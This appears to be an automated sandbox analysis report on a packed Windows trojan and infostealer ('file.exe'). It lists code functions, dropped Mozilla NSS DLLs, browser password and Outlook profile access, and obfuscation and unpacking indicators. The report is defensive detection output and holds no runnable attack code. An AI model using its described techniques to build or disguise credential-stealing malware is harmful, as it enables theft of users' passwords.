Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C	0_2_010EE19C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F802D	0_2_010F802D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F4B35	0_2_010F4B35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E63AD	0_2_011E63AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EFBEC	0_2_010EFBEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F3BE0	0_2_010F3BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E5A0B	0_2_010E5A0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01008222	0_2_01008222
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E2268	0_2_010E2268
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010C15B1	0_2_010C15B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0120240B	0_2_0120240B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FE76B9	0_2_00FE76B9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010F1FAD	0_2_010F1FAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0107F7CC	0_2_0107F7CC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0105A7C9	0_2_0105A7C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011D6FC8	0_2_011D6FC8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010E8FD7	0_2_010E8FD7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00D245C0 appears 316 times

Source: file.exe, 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2282828764.000000006C8D5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: rvsqudmv ZLIB complexity 0.9946468816007845

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000003.2054627045.0000000005590000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251340111.0000000000D21000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/23@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D38680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00D38680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D33720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00D33720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\POD8U8I6.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2150803037.000000001DCF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132760974.000000001DCD8000.00000004.00000020.00020000.00000000.sdmp, BFHJECAAAFHIJKFIJEGC.0.dr, BGCAFHCAKFBFIECAFIIJ.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2281801733.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2270061485.000000001DE10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 47%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1852928 > 1048576

Source: file.exe

Static PE information: Raw size of rvsqudmv is bigger than: 0x100000 < 0x19e400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2282572651.000000006C88F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d20000.0.unpack :EW;.rsrc :W;.idata :W; :EW;rvsqudmv:EW;oszxehtj:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;rvsqudmv:EW;oszxehtj:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00D39860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D39860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c60e2 should be: 0x1cafff

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: rvsqudmv
Source: file.exe	Static PE information: section name: oszxehtj
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119491A push ebx; mov dword ptr [esp], eax	0_2_0119495E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0119491A push edi; mov dword ptr [esp], ebp	0_2_011949B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0112E11E push ebx; mov dword ptr [esp], eax	0_2_0112E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011BB12B push edi; mov dword ptr [esp], ecx	0_2_011BB160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B6157 push edi; mov dword ptr [esp], ebx	0_2_011B6161
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B6157 push eax; mov dword ptr [esp], esp	0_2_011B627C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B6157 push 2AC8449Eh; mov dword ptr [esp], ebp	0_2_011B62EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011B6957 push edx; mov dword ptr [esp], edi	0_2_011B6961
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01161973 push esi; mov dword ptr [esp], ecx	0_2_0116199B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01161973 push 3D654ABFh; mov dword ptr [esp], esp	0_2_011619A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push esi; mov dword ptr [esp], edx	0_2_010EE1A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push ebp; mov dword ptr [esp], 0CA60970h	0_2_010EE1A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 6DA0B366h; mov dword ptr [esp], esi	0_2_010EE20B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 720882F7h; mov dword ptr [esp], eax	0_2_010EE242
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push ecx; mov dword ptr [esp], edi	0_2_010EE2D5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push eax; mov dword ptr [esp], edi	0_2_010EE2F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push edi; mov dword ptr [esp], eax	0_2_010EE337
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 35D8BA3Bh; mov dword ptr [esp], esi	0_2_010EE415
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 39DEBDB2h; mov dword ptr [esp], esi	0_2_010EE465
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 324289B6h; mov dword ptr [esp], edi	0_2_010EE47B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push ebx; mov dword ptr [esp], 2FF78F6Ch	0_2_010EE48E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push ebx; mov dword ptr [esp], 37F5EF0Ah	0_2_010EE4AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 77730F03h; mov dword ptr [esp], eax	0_2_010EE4F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push edi; mov dword ptr [esp], edx	0_2_010EE563
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 511F9A00h; mov dword ptr [esp], edx	0_2_010EE58E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push ebx; mov dword ptr [esp], edx	0_2_010EE5A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 64088B7Fh; mov dword ptr [esp], eax	0_2_010EE612
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 5BB9677Ah; mov dword ptr [esp], edi	0_2_010EE67E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push eax; mov dword ptr [esp], 7FFB6A3Ch	0_2_010EE682
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push edx; mov dword ptr [esp], edi	0_2_010EE702
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010EE19C push 07480A00h; mov dword ptr [esp], eax	0_2_010EE7A3

Source: file.exe

Static PE information: section name: rvsqudmv entropy: 7.9525782140447285

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

